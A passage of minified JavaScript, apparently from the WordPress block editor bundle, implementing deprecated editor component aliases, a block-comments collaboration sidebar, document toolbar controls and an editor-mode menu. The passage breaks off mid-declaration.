Gh(){const{__experimentalGetDirtyEntityRecords:e}=(0,c.useSelect)(d.store);return(0,u.useEffect)((()=&gt;{const t=t=&gt;{if(e().length&gt;0)return t.returnValue=(0,fs.__)(&quot;You have unsaved changes. If you proceed, they will be lost.&quot;),t.returnValue};return window.addEventListener(&quot;beforeunload&quot;,t),()=&gt;{window.removeEventListener(&quot;beforeunload&quot;,t)}}),[e]),null}const $h=window.wp.serverSideRender;var Wh=s.n($h);function Zh(e,t,s=[]){const o=(0,u.forwardRef)(((s,o)=&gt;(w()(&quot;wp.editor.&quot;+e,{since:&quot;5.3&quot;,alternative:&quot;wp.blockEditor.&quot;+e,version:&quot;6.2&quot;}),(0,L.jsx)(t,{ref:o,...s}))));return s.forEach((s=&gt;{o[s]=Zh(e+&quot;.&quot;+s,t[s])})),o}function Yh(e,t){return(...s)=&gt;(w()(&quot;wp.editor.&quot;+e,{since:&quot;5.3&quot;,alternative:&quot;wp.blockEditor.&quot;+e,version:&quot;6.2&quot;}),t(...s))}const Kh=Zh(&quot;RichText&quot;,h.RichText,[&quot;Content&quot;]);Kh.isEmpty=Yh(&quot;RichText.isEmpty&quot;,h.RichText.isEmpty);const qh=Zh(&quot;Autocomplete&quot;,h.Autocomplete),Qh=Zh(&quot;AlignmentToolbar&quot;,h.AlignmentToolbar),Xh=Zh(&quot;BlockAlignmentToolbar&quot;,h.BlockAlignmentToolbar),Jh=Zh(&quot;BlockControls&quot;,h.BlockControls,[&quot;Slot&quot;]),eg=Zh(&quot;BlockEdit&quot;,h.BlockEdit),tg=Zh(&quot;BlockEditorKeyboardShortcuts&quot;,h.BlockEditorKeyboardShortcuts),sg=Zh(&quot;BlockFormatControls&quot;,h.BlockFormatControls,[&quot;Slot&quot;]),og=Zh(&quot;BlockIcon&quot;,h.BlockIcon),ng=Zh(&quot;BlockInspector&quot;,h.BlockInspector),ig=Zh(&quot;BlockList&quot;,h.BlockList),rg=Zh(&quot;BlockMover&quot;,h.BlockMover),ag=Zh(&quot;BlockNavigationDropdown&quot;,h.BlockNavigationDropdown),lg=Zh(&quot;BlockSelectionClearer&quot;,h.BlockSelectionClearer),cg=Zh(&quot;BlockSettingsMenu&quot;,h.BlockSettingsMenu),dg=Zh(&quot;BlockTitle&quot;,h.BlockTitle),ug=Zh(&quot;BlockToolbar&quot;,h.BlockToolbar),pg=Zh(&quot;ColorPalette&quot;,h.ColorPalette),mg=Zh(&quot;ContrastChecker&quot;,h.ContrastChecker),hg=Zh(&quot;CopyHandler&quot;,h.CopyHandler),gg=Zh(&quot;DefaultBlockAppender&quot;,h.DefaultBlockAppender),_g=Zh(&quot;FontSizePicker&quot;,h.FontSizePicker),fg=Zh(&quot;Inserter&quot;,h.Inserter),bg=Zh(&quot;InnerBlocks&quot;,h.InnerBlocks,[&quot;ButtonBlockAppender&quot;,&quot;DefaultBlockAppender&quot;,&quot;Content&quot;]),yg=Zh(&quot;InspectorAdvancedControls&quot;,h.InspectorAdvancedControls,[&quot;Slot&quot;]),xg=Zh(&quot;InspectorControls&quot;,h.InspectorControls,[&quot;Slot&quot;]),vg=Zh(&quot;PanelColorSettings&quot;,h.PanelColorSettings),Sg=Zh(&quot;PlainText&quot;,h.PlainText),wg=Zh(&quot;RichTextShortcut&quot;,h.RichTextShortcut),kg=Zh(&quot;RichTextToolbarButton&quot;,h.RichTextToolbarButton),Cg=Zh(&quot;__unstableRichTextInputEvent&quot;,h.__unstableRichTextInputEvent),Pg=Zh(&quot;MediaPlaceholder&quot;,h.MediaPlaceholder),jg=Zh(&quot;MediaUpload&quot;,h.MediaUpload),Eg=Zh(&quot;MediaUploadCheck&quot;,h.MediaUploadCheck),Tg=Zh(&quot;MultiSelectScrollIntoView&quot;,h.MultiSelectScrollIntoView),Bg=Zh(&quot;NavigableToolbar&quot;,h.NavigableToolbar),Ig=Zh(&quot;ObserveTyping&quot;,h.ObserveTyping),Ng=Zh(&quot;SkipToSelectedBlock&quot;,h.SkipToSelectedBlock),Dg=Zh(&quot;URLInput&quot;,h.URLInput),Ag=Zh(&quot;URLInputButton&quot;,h.URLInputButton),Rg=Zh(&quot;URLPopover&quot;,h.URLPopover),Mg=Zh(&quot;Warning&quot;,h.Warning),Lg=Zh(&quot;WritingFlow&quot;,h.WritingFlow),Og=Yh(&quot;createCustomColorsHOC&quot;,h.createCustomColorsHOC),Fg=Yh(&quot;getColorClassName&quot;,h.getColorClassName),Vg=Yh(&quot;getColorObjectByAttributeValues&quot;,h.getColorObjectByAttributeValues),zg=Yh(&quot;getColorObjectByColorValue&quot;,h.getColorObjectByColorValue),Ug=Yh(&quot;getFontSize&quot;,h.getFontSize),Hg=Yh(&quot;getFontSizeClass&quot;,h.getFontSizeClass),Gg=Yh(&quot;withColorContext&quot;,h.withColorContext),$g=Yh(&quot;withColors&quot;,h.withColors),Wg=Yh(&quot;withFontSizes&quot;,h.withFontSizes),Zg=Fl,Yg=Fl;function Kg(e){return w()(&quot;wp.editor.cleanForSlug&quot;,{since:&quot;12.7&quot;,plugin:&quot;Gutenberg&quot;,alternative:&quot;wp.url.cleanForSlug&quot;}),(0,v.cleanForSlug)(e)}const qg=(0,Uo.createSlotFill)(Symbol(&quot;EditCanvasContainerSlot&quot;)),Qg=&quot;__experimentalMainDashboardButton&quot;,{Fill:Xg,Slot:Jg}=(0,Uo.createSlotFill)(Qg),e_=Xg;e_.Slot=()=&gt;{const e=(0,Uo.__experimentalUseSlotFills)(Qg);return(0,L.jsx)(Jg,{bubblesVirtually:!0,fillProps:{length:e?e.length:0}})};const t_=e_,s_=(0,L.jsx)(M.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M18 4H6c-1.1 0-2 .9-2 2v12.9c0 .6.5 1.1 1.1 1.1.3 0 .5-.1.8-.3L8.5 17H18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H7.9l-2.4 2.4V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v9z&quot;})}),o_=&quot;edit-post/collab-sidebar&quot;,n_=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z&quot;})});const i_=function({avatar:e,name:t,date:s}){const o=(0,x.getSettings)(),[n=o.formats.time]=(0,d.useEntityProp)(&quot;root&quot;,&quot;site&quot;,&quot;time_format&quot;),{currentUserAvatar:i,currentUserName:r}=(0,c.useSelect)((e=&gt;{var t;const s=e(d.store).getCurrentUser(),{getSettings:o}=e(h.store),{__experimentalDiscussionSettings:n}=o(),i=n?.avatarURL;return{currentUserAvatar:null!==(t=s?.avatar_urls[48])&amp;&amp;void 0!==t?t:i,currentUserName:s?.name}}),[]),a=new Date;return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(&quot;img&quot;,{src:null!=e?e:i,className:&quot;editor-collab-sidebar-panel__user-avatar&quot;,alt:(0,fs.__)(&quot;User avatar&quot;),width:32,height:32}),(0,L.jsxs)(Uo.__experimentalVStack,{spacing:&quot;0&quot;,children:[(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-collab-sidebar-panel__user-name&quot;,children:null!=t?t:r}),(0,L.jsx)(&quot;time&quot;,{dateTime:(0,x.dateI18n)(&quot;c&quot;,null!=s?s:a),className:&quot;editor-collab-sidebar-panel__user-time&quot;,children:(0,x.dateI18n)(n,null!=s?s:a)})]})]})};const r_=function({onSubmit:e,onCancel:t,thread:s,submitButtonText:o}){var n;const[i,r]=(0,u.useState)(null!==(n=s?.content?.raw)&amp;&amp;void 0!==n?n:&quot;&quot;);return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.TextareaControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,value:null!=i?i:&quot;&quot;,onChange:r}),(0,L.jsxs)(Uo.__experimentalHStack,{alignment:&quot;left&quot;,spacing:&quot;3&quot;,justify:&quot;flex-start&quot;,children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,accessibleWhenDisabled:!0,variant:&quot;primary&quot;,onClick:()=&gt;{e(i),r(&quot;&quot;)},disabled:0===(a=i,a.trim()).length,text:o}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:t,text:(0,fs._x)(&quot;Cancel&quot;,&quot;Cancel comment button&quot;)})]})]});var a};function a_({threads:e,onEditComment:t,onAddReply:s,onCommentDelete:o,onCommentResolve:n,showCommentBoard:i,setShowCommentBoard:r}){const{blockCommentId:a}=(0,c.useSelect)((e=&gt;{const{getBlockAttributes:t,getSelectedBlockClientId:s}=e(h.store),o=s();return{blockCommentId:o?t(o)?.blockCommentId:null}}),[]),[l,d]=(0,u.useState)(i&amp;&amp;a?a:null),p=()=&gt;{d(null),r(!1)};return(0,L.jsxs)(L.Fragment,{children:[(!Array.isArray(e)||0===e.length)&amp;&amp;(0,L.jsx)(Uo.__experimentalVStack,{alignment:&quot;left&quot;,className:&quot;editor-collab-sidebar-panel__thread&quot;,justify:&quot;flex-start&quot;,spacing:&quot;3&quot;,children:(0,fs.__)(&quot;No comments available&quot;)}),Array.isArray(e)&amp;&amp;e.length&gt;0&amp;&amp;e.map((e=&gt;(0,L.jsx)(Uo.__experimentalVStack,{className:Di(&quot;editor-collab-sidebar-panel__thread&quot;,{&quot;editor-collab-sidebar-panel__active-thread&quot;:a&amp;&amp;a===e.id,&quot;editor-collab-sidebar-panel__focus-thread&quot;:l&amp;&amp;l===e.id}),id:e.id,spacing:&quot;3&quot;,onClick:()=&gt;d(e.id),children:(0,L.jsx)(l_,{thread:e,onAddReply:s,onCommentDelete:o,onCommentResolve:n,onEditComment:t,isFocused:l===e.id,clearThreadFocus:p})},e.id)))]})}function l_({thread:e,onEditComment:t,onAddReply:s,onCommentDelete:o,onCommentResolve:n,isFocused:i,clearThreadFocus:r}){return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(c_,{thread:e,onResolve:n,onEdit:t,onDelete:o,status:e.status}),0&lt;e?.reply?.length&amp;&amp;(0,L.jsxs)(L.Fragment,{children:[!i&amp;&amp;(0,L.jsx)(Uo.__experimentalVStack,{className:&quot;editor-collab-sidebar-panel__show-more-reply&quot;,children:(0,fs.sprintf)((0,fs._x)(&quot;%s more replies..&quot;,&quot;Show replies button&quot;),e?.reply?.length)}),i&amp;&amp;e.reply.map((s=&gt;(0,L.jsxs)(Uo.__experimentalVStack,{className:&quot;editor-collab-sidebar-panel__child-thread&quot;,id:s.id,spacing:&quot;2&quot;,children:[&quot;approved&quot;!==e.status&amp;&amp;(0,L.jsx)(c_,{thread:s,onEdit:t,onDelete:o}),&quot;approved&quot;===e.status&amp;&amp;(0,L.jsx)(c_,{thread:s})]},s.id)))]}),&quot;approved&quot;!==e.status&amp;&amp;i&amp;&amp;(0,L.jsxs)(Uo.__experimentalVStack,{className:&quot;editor-collab-sidebar-panel__child-thread&quot;,spacing:&quot;2&quot;,children:[(0,L.jsx)(Uo.__experimentalHStack,{alignment:&quot;left&quot;,spacing:&quot;3&quot;,justify:&quot;flex-start&quot;,children:(0,L.jsx)(i_,{})}),(0,L.jsx)(Uo.__experimentalVStack,{spacing:&quot;3&quot;,className:&quot;editor-collab-sidebar-panel__comment-field&quot;,children:(0,L.jsx)(r_,{onSubmit:t=&gt;{s(t,e.id)},onCancel:e=&gt;{e.stopPropagation(),r()},submitButtonText:(0,fs._x)(&quot;Reply&quot;,&quot;Add reply comment&quot;)})})]})]})}const c_=({thread:e,onResolve:t,onEdit:s,onDelete:o,status:n})=&gt;{const[i,r]=(0,u.useState)(!1),[a,l]=(0,u.useState)(!1),c=()=&gt;{r(!1),l(!1)},d=[s&amp;&amp;{title:(0,fs._x)(&quot;Edit&quot;,&quot;Edit comment&quot;),onClick:()=&gt;{r(&quot;edit&quot;)}},o&amp;&amp;{title:(0,fs._x)(&quot;Delete&quot;,&quot;Delete comment&quot;),onClick:()=&gt;{r(&quot;delete&quot;),l(!0)}}].filter((e=&gt;e?.onClick));return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsxs)(Uo.__experimentalHStack,{alignment:&quot;left&quot;,spacing:&quot;3&quot;,justify:&quot;flex-start&quot;,children:[(0,L.jsx)(i_,{avatar:e?.author_avatar_urls?.[48],name:e?.author_name,date:e?.date}),(0,L.jsxs)(&quot;span&quot;,{className:&quot;editor-collab-sidebar-panel__comment-status&quot;,children:[&quot;approved&quot;!==n&amp;&amp;(0,L.jsxs)(Uo.__experimentalHStack,{alignment:&quot;right&quot;,justify:&quot;flex-end&quot;,spacing:&quot;0&quot;,children:[0===e?.parent&amp;&amp;t&amp;&amp;(0,L.jsx)(Uo.Button,{label:(0,fs._x)(&quot;Resolve&quot;,&quot;Mark comment as resolved&quot;),__next40pxDefaultSize:!0,icon:Ui,onClick:()=&gt;{r(&quot;resolve&quot;),l(!0)},showTooltip:!0}),0&lt;d.length&amp;&amp;(0,L.jsx)(Uo.DropdownMenu,{icon:n_,label:(0,fs._x)(&quot;Select an action&quot;,&quot;Select comment action&quot;),className:&quot;editor-collab-sidebar-panel__comment-dropdown-menu&quot;,controls:d})]}),&quot;approved&quot;===n&amp;&amp;(0,L.jsx)(Uo.Tooltip,{text:(0,fs.__)(&quot;Resolved&quot;),children:(0,L.jsx)(fr,{icon:Ho})})]})]}),(0,L.jsx)(Uo.__experimentalHStack,{alignment:&quot;left&quot;,spacing:&quot;3&quot;,justify:&quot;flex-start&quot;,className:&quot;editor-collab-sidebar-panel__user-comment&quot;,children:(0,L.jsxs)(Uo.__experimentalVStack,{spacing:&quot;3&quot;,className:&quot;editor-collab-sidebar-panel__comment-field&quot;,children:[&quot;edit&quot;===i&amp;&amp;(0,L.jsx)(r_,{onSubmit:t=&gt;{s(e.id,t),r(!1)},onCancel:()=&gt;c(),thread:e,submitButtonText:(0,fs._x)(&quot;Update&quot;,&quot;verb&quot;)}),&quot;edit&quot;!==i&amp;&amp;(0,L.jsx)(u.RawHTML,{children:e?.content?.raw})]})}),&quot;resolve&quot;===i&amp;&amp;(0,L.jsx)(Uo.__experimentalConfirmDialog,{isOpen:a,onConfirm:()=&gt;{t(e.id),r(!1),l(!1)},onCancel:c,confirmButtonText:&quot;Yes&quot;,cancelButtonText:&quot;No&quot;,children:(0,fs.__)(&quot;Are you sure you want to mark this comment as resolved?&quot;)}),&quot;delete&quot;===i&amp;&amp;(0,L.jsx)(Uo.__experimentalConfirmDialog,{isOpen:a,onConfirm:()=&gt;{o(e.id),r(!1),l(!1)},onCancel:c,confirmButtonText:&quot;Yes&quot;,cancelButtonText:&quot;No&quot;,children:(0,fs.__)(&quot;Are you sure you want to delete this comment?&quot;)})]})};function d_({onSubmit:e,showCommentBoard:t,setShowCommentBoard:s}){const{clientId:o,blockCommentId:n}=(0,c.useSelect)((e=&gt;{const{getSelectedBlock:t}=e(h.store),s=t();return{clientId:s?.clientId,blockCommentId:s?.attributes?.blockCommentId}}));return t&amp;&amp;o&amp;&amp;void 0===n?(0,L.jsxs)(Uo.__experimentalVStack,{spacing:&quot;3&quot;,className:&quot;editor-collab-sidebar-panel__thread editor-collab-sidebar-panel__active-thread editor-collab-sidebar-panel__focus-thread&quot;,children:[(0,L.jsx)(Uo.__experimentalHStack,{alignment:&quot;left&quot;,spacing:&quot;3&quot;,children:(0,L.jsx)(i_,{})}),(0,L.jsx)(r_,{onSubmit:t=&gt;{e(t)},onCancel:()=&gt;{s(!1)},submitButtonText:(0,fs._x)(&quot;Comment&quot;,&quot;Add comment button&quot;)})]}):null}const{CommentIconSlotFill:u_}=$(h.privateApis),p_=({onClick:e})=&gt;(0,L.jsx)(u_.Fill,{children:({onClose:t})=&gt;(0,L.jsx)(Uo.MenuItem,{icon:s_,onClick:()=&gt;{e(),t()},&quot;aria-haspopup&quot;:&quot;dialog&quot;,children:(0,fs._x)(&quot;Comment&quot;,&quot;Add comment button&quot;)})}),{CommentIconToolbarSlotFill:m_}=$(h.privateApis),h_=({onClick:e})=&gt;(0,L.jsx)(m_.Fill,{children:(0,L.jsx)(Uo.ToolbarButton,{accessibleWhenDisabled:!0,icon:s_,label:(0,fs._x)(&quot;Comment&quot;,&quot;View comment&quot;),onClick:e})});function g_({showCommentBoard:e,setShowCommentBoard:t,styles:s,comments:o}){const{createNotice:n}=(0,c.useDispatch)(_s.store),{saveEntityRecord:i,deleteEntityRecord:r}=(0,c.useDispatch)(d.store),{getEntityRecord:a}=(0,c.resolveSelect)(d.store),{postId:l}=(0,c.useSelect)((e=&gt;{const{getCurrentPostId:t}=e(Ac);return{postId:t()}}),[]),{getSelectedBlockClientId:u}=(0,c.useSelect)(h.store),{updateBlockAttributes:p}=(0,c.useDispatch)(h.store),m=async(e,t)=&gt;{const s={...{post:l,content:e,comment_type:&quot;block_comment&quot;,comment_approved:0},...t?{parent:t}:{}},o=await i(&quot;root&quot;,&quot;comment&quot;,s);o?(t||p(u(),{blockCommentId:o?.id}),n(&quot;snackbar&quot;,t?(0,fs.__)(&quot;Reply added successfully.&quot;):(0,fs.__)(&quot;Comment added successfully.&quot;),{type:&quot;snackbar&quot;,isDismissible:!0})):g()},g=()=&gt;{n(&quot;error&quot;,(0,fs.__)(&quot;Something went wrong. Please try publishing the post, or you may have already submitted your comment earlier.&quot;),{isDismissible:!0})};return(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-collab-sidebar-panel&quot;,style:s,children:[(0,L.jsx)(d_,{onSubmit:m,showCommentBoard:e,setShowCommentBoard:t}),(0,L.jsx)(a_,{threads:o,onEditComment:async(e,t)=&gt;{await i(&quot;root&quot;,&quot;comment&quot;,{id:e,content:t})?n(&quot;snackbar&quot;,(0,fs.__)(&quot;Comment edited successfully.&quot;),{type:&quot;snackbar&quot;,isDismissible:!0}):g()},onAddReply:m,onCommentDelete:async e=&gt;{const t=await a(&quot;root&quot;,&quot;comment&quot;,e);await r(&quot;root&quot;,&quot;comment&quot;,e),t&amp;&amp;!t.parent&amp;&amp;p(u(),{blockCommentId:void 0}),n(&quot;snackbar&quot;,(0,fs.__)(&quot;Comment deleted successfully.&quot;),{type:&quot;snackbar&quot;,isDismissible:!0})},onCommentResolve:async e=&gt;{await i(&quot;root&quot;,&quot;comment&quot;,{id:e,status:&quot;approved&quot;})?n(&quot;snackbar&quot;,(0,fs.__)(&quot;Comment marked as resolved.&quot;),{type:&quot;snackbar&quot;,isDismissible:!0}):g()},showCommentBoard:e,setShowCommentBoard:t},u())]})}function __(){const[e,t]=(0,u.useState)(!1),{enableComplementaryArea:s}=(0,c.useDispatch)(Ua),{getActiveComplementaryArea:o}=(0,c.useSelect)(Ua),{postId:n,postType:i,postStatus:r,threads:a}=(0,c.useSelect)((e=&gt;{const{getCurrentPostId:t,getCurrentPostType:s}=e(Ac),o=t(),n=o&amp;&amp;&quot;number&quot;==typeof o?e(d.store).getEntityRecords(&quot;root&quot;,&quot;comment&quot;,{post:o,type:&quot;block_comment&quot;,status:&quot;any&quot;,per_page:100}):null;return{postId:o,postType:s(),postStatus:e(Ac).getEditedPostAttribute(&quot;status&quot;),threads:n}}),[]),{blockCommentId:l}=(0,c.useSelect)((e=&gt;{const{getBlockAttributes:t,getSelectedBlockClientId:s}=e(h.store),o=s();return{blockCommentId:o?t(o)?.blockCommentId:null}}),[]),[p]=(0,d.useEntityBlockEditor)(&quot;postType&quot;,i,{id:n}),{resultComments:m,sortedThreads:g}=(0,u.useMemo)((()=&gt;{const e={},t=[],s=(null!=a?a:[]).filter((e=&gt;&quot;trash&quot;!==e.status));if(s.forEach((t=&gt;{e[t.id]={...t,reply:[]}})),s.forEach((s=&gt;{0===s.parent?t.push(e[s.id]):e[s.parent]&amp;&amp;e[s.parent].reply.push(e[s.id])})),0===t?.length)return{resultComments:[],sortedThreads:[]};const o=t.map((e=&gt;({...e,reply:[...e.reply].reverse()}))),n=function(e){const t=e=&gt;e.reduce(((e,s)=&gt;{if(s.attributes&amp;&amp;s.attributes.blockCommentId&amp;&amp;!e.includes(s.attributes.blockCommentId)&amp;&amp;e.push(s.attributes.blockCommentId),s.innerBlocks&amp;&amp;s.innerBlocks.length&gt;0){const o=t(s.innerBlocks);e.push(...o)}return e}),[]);return t(e)}(p),i=new Map(o.map((e=&gt;[e.id,e])));return{resultComments:o,sortedThreads:n.map((e=&gt;i.get(e))).filter((e=&gt;void 0!==e))}}),[a,p]),{merged:_}=Wr(),f=_?.styles?.color?.background;if(0&lt;m.length){const e=(0,c.subscribe)((()=&gt;{o(&quot;core&quot;)||(s(&quot;core&quot;,o_),e())}))}if(&quot;publish&quot;===r)return null;const b=l?h_:p_;return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(b,{onClick:()=&gt;{t(!0),s(&quot;core&quot;,&quot;edit-post/collab-sidebar&quot;)}}),(0,L.jsx)(Lu,{identifier:&quot;edit-post/collab-history-sidebar&quot;,title:(0,fs.__)(&quot;Comments&quot;),icon:s_,children:(0,L.jsx)(g_,{comments:m,showCommentBoard:e,setShowCommentBoard:t})}),(0,L.jsx)(Lu,{isPinnable:!1,header:!1,identifier:o_,className:&quot;editor-collab-sidebar&quot;,headerClassName:&quot;editor-collab-sidebar__header&quot;,children:(0,L.jsx)(g_,{comments:g,showCommentBoard:e,setShowCommentBoard:t,styles:{backgroundColor:f}})})]})}(0,m.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;block-comment/modify-core-block-attributes&quot;,(e=&gt;(e.attributes.blockCommentId||(e.attributes={...e.attributes,blockCommentId:{type:&quot;number&quot;}}),e)));const f_=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M6.6 6L5.4 7l4.5 5-4.5 5 1.1 1 5.5-6-5.4-6zm6 0l-1.1 1 4.5 5-4.5 5 1.1 1 5.5-6-5.5-6z&quot;})}),b_=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M11.6 7l-1.1-1L5 12l5.5 6 1.1-1L7 12l4.6-5zm6 0l-1.1-1-5.5 6 5.5 6 1.1-1-4.6-5 4.6-5z&quot;})}),{useHasBlockToolbar:y_}=$(h.privateApis);function x_({isCollapsed:e,onToggle:t}){const{blockSelectionStart:s}=(0,c.useSelect)((e=&gt;({blockSelectionStart:e(h.store).getBlockSelectionStart()})),[]),o=y_(),n=!!s;return(0,u.useEffect)((()=&gt;{s&amp;&amp;t(!1)}),[s,t]),o?(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(&quot;div&quot;,{className:Di(&quot;editor-collapsible-block-toolbar&quot;,{&quot;is-collapsed&quot;:e||!n}),children:(0,L.jsx)(h.BlockToolbar,{hideDragHandle:!0})}),(0,L.jsx)(Uo.Popover.Slot,{name:&quot;block-toolbar&quot;}),(0,L.jsx)(Uo.Button,{className:&quot;editor-collapsible-block-toolbar__toggle&quot;,icon:e?f_:b_,onClick:()=&gt;{t(!e)},label:e?(0,fs.__)(&quot;Show block tools&quot;):(0,fs.__)(&quot;Hide block tools&quot;),size:&quot;compact&quot;})]}):null}const v_=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z&quot;})});const S_=function({className:e,disableBlockTools:t=!1}){const{setIsInserterOpened:s,setIsListViewOpened:o}=(0,c.useDispatch)(Ac),{isDistractionFree:n,isInserterOpened:i,isListViewOpen:r,listViewShortcut:a,inserterSidebarToggleRef:l,listViewToggleRef:d,showIconLabels:m,showTools:g}=(0,c.useSelect)((e=&gt;{const{get:t}=e(k.store),{isListViewOpened:s,getEditorMode:o,getInserterSidebarToggleRef:n,getListViewToggleRef:i,getRenderingMode:r,getCurrentPostType:a}=$(e(Ac)),{getShortcutRepresentation:l}=e(vl.store);return{isInserterOpened:e(Ac).isInserterOpened(),isListViewOpen:s(),listViewShortcut:l(&quot;core/editor/toggle-list-view&quot;),inserterSidebarToggleRef:n(),listViewToggleRef:i(),showIconLabels:t(&quot;core&quot;,&quot;showIconLabels&quot;),isDistractionFree:t(&quot;core&quot;,&quot;distractionFree&quot;),isVisualMode:&quot;visual&quot;===o(),showTools:!!window?.__experimentalEditorWriteMode&amp;&amp;(&quot;post-only&quot;!==r()||&quot;wp_template&quot;===a())}}),[]),_=(0,p.useViewportMatch)(&quot;medium&quot;),f=(0,p.useViewportMatch)(&quot;wide&quot;),b=(0,fs.__)(&quot;Document tools&quot;),y=(0,u.useCallback)((()=&gt;o(!r)),[o,r]),x=(0,u.useCallback)((()=&gt;s(!i)),[i,s]),v=(0,fs._x)(&quot;Block Inserter&quot;,&quot;Generic label for block inserter button&quot;),S=i?(0,fs.__)(&quot;Close&quot;):(0,fs.__)(&quot;Add&quot;);return(0,L.jsx)(h.NavigableToolbar,{className:Di(&quot;editor-document-tools&quot;,&quot;edit-post-header-toolbar&quot;,e),&quot;aria-label&quot;:b,variant:&quot;unstyled&quot;,children:(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-document-tools__left&quot;,children:[!n&amp;&amp;(0,L.jsx)(Uo.ToolbarButton,{ref:l,className:&quot;editor-document-tools__inserter-toggle&quot;,variant:&quot;primary&quot;,isPressed:i,onMouseDown:e=&gt;{i&amp;&amp;e.preventDefault()},onClick:x,disabled:t,icon:v_,label:m?S:v,showTooltip:!m,&quot;aria-expanded&quot;:i}),(f||!m)&amp;&amp;(0,L.jsxs)(L.Fragment,{children:[g&amp;&amp;_&amp;&amp;(0,L.jsx)(Uo.ToolbarItem,{as:h.ToolSelector,showTooltip:!m,variant:m?&quot;tertiary&quot;:void 0,disabled:t,size:&quot;compact&quot;}),(0,L.jsx)(Uo.ToolbarItem,{as:hd,showTooltip:!m,variant:m?&quot;tertiary&quot;:void 0,size:&quot;compact&quot;}),(0,L.jsx)(Uo.ToolbarItem,{as:md,showTooltip:!m,variant:m?&quot;tertiary&quot;:void 0,size:&quot;compact&quot;}),!n&amp;&amp;(0,L.jsx)(Uo.ToolbarButton,{className:&quot;editor-document-tools__document-overview-toggle&quot;,icon:la,disabled:t,isPressed:r,label:(0,fs.__)(&quot;Document Overview&quot;),onClick:y,shortcut:a,showTooltip:!m,variant:m?&quot;tertiary&quot;:void 0,&quot;aria-expanded&quot;:r,ref:d})]})]})})};function w_(){const{createNotice:e}=(0,c.useDispatch)(_s.store),{getCurrentPostId:t,getCurrentPostType:s}=(0,c.useSelect)(Ac),{getEditedEntityRecord:o}=(0,c.useSelect)(d.store);const n=(0,p.useCopyToClipboard)((function(){const e=o(&quot;postType&quot;,s(),t());return e?&quot;function&quot;==typeof e.content?e.content(e):e.blocks?(0,y.__unstableSerializeAndClean)(e.blocks):e.content?e.content:void 0:&quot;&quot;}),(function(){e(&quot;info&quot;,(0,fs.__)(&quot;All content copied.&quot;),{isDismissible:!0,type:&quot;snackbar&quot;})}));return(0,L.jsx)(Uo.MenuItem,{ref:n,children:(0,fs.__)(&quot;Copy all blocks&quot;)})}const k_=[{value:&quot;visual&quot;,label:(0,fs.__)(&quot;Visual editor&quot;)},{value:&quot;text&quot;,label:(0,fs.__)(&quot;Code editor&quot;)}];const C_=function(){const{shortcut:e,isRichEditingEnabled:t,isCodeEditingEnabled:s,mode:o}=(0,c.useSelect)((e=&gt;({shortcut:e(vl.store).getShortcutRepresentation(&quot;core/editor/toggle-mode&quot;),isRichEditingEnabled:e(Ac).getEditorSettings().richEditingEnabled,isCodeEditingEnabled:e(Ac).getEditorSettings().codeEditingEnabled,mode:e(Ac).getEditorMode()})),[]),{switchEditorMode:n}=(0,c.useDispatch)(Ac);let i=o;t||&quot;visual&quot;!==o||(i=&quot;text&quot;),s||&quot;text&quot;!==o||(i=&quot;visual&quot;);const r=k_.map((o=&gt;(s||&quot;text&quot;!==o.value||(o={...o,disabled:!0}),t||&quot;visual&quot;!==o.value||(o={...o,disabled:!0,info:(0,fs.__)(&quot;You can enable the visual editor in your profile settings.&quot;)}),o.value===i||o.disabled?o:{...o,shortcut:e})));return(0,L.jsx)(Uo.MenuGroup,{label:(0,fs.__)(&quot;Editor&quot;),children:(0,L.jsx)(Uo.MenuItemsChoice,{choices:r,value:i,onSelect:n})})},{Fill:P_,Slot:j_}=(0,Uo.createSlotFill)(&quot;ToolsMoreMenuGroup&quot;);P_.Slot=({fillProps:e})=&gt;(0,L.jsx)(j_,{fillProps:e});const E_=P_,{Fill:T_,Slot:B_}=(0,Uo.createSlotFill)(&quot;web&quot;===u.Platform.OS?Symbol(&quot;ViewMoreMenuGroup&quot;):&quot;ViewMoreMenuGroup&quot;);T_.Slot=({fillProps:e})=&gt;(0,L.jsx)(B_,{fillProps:e});const I_=T_;function 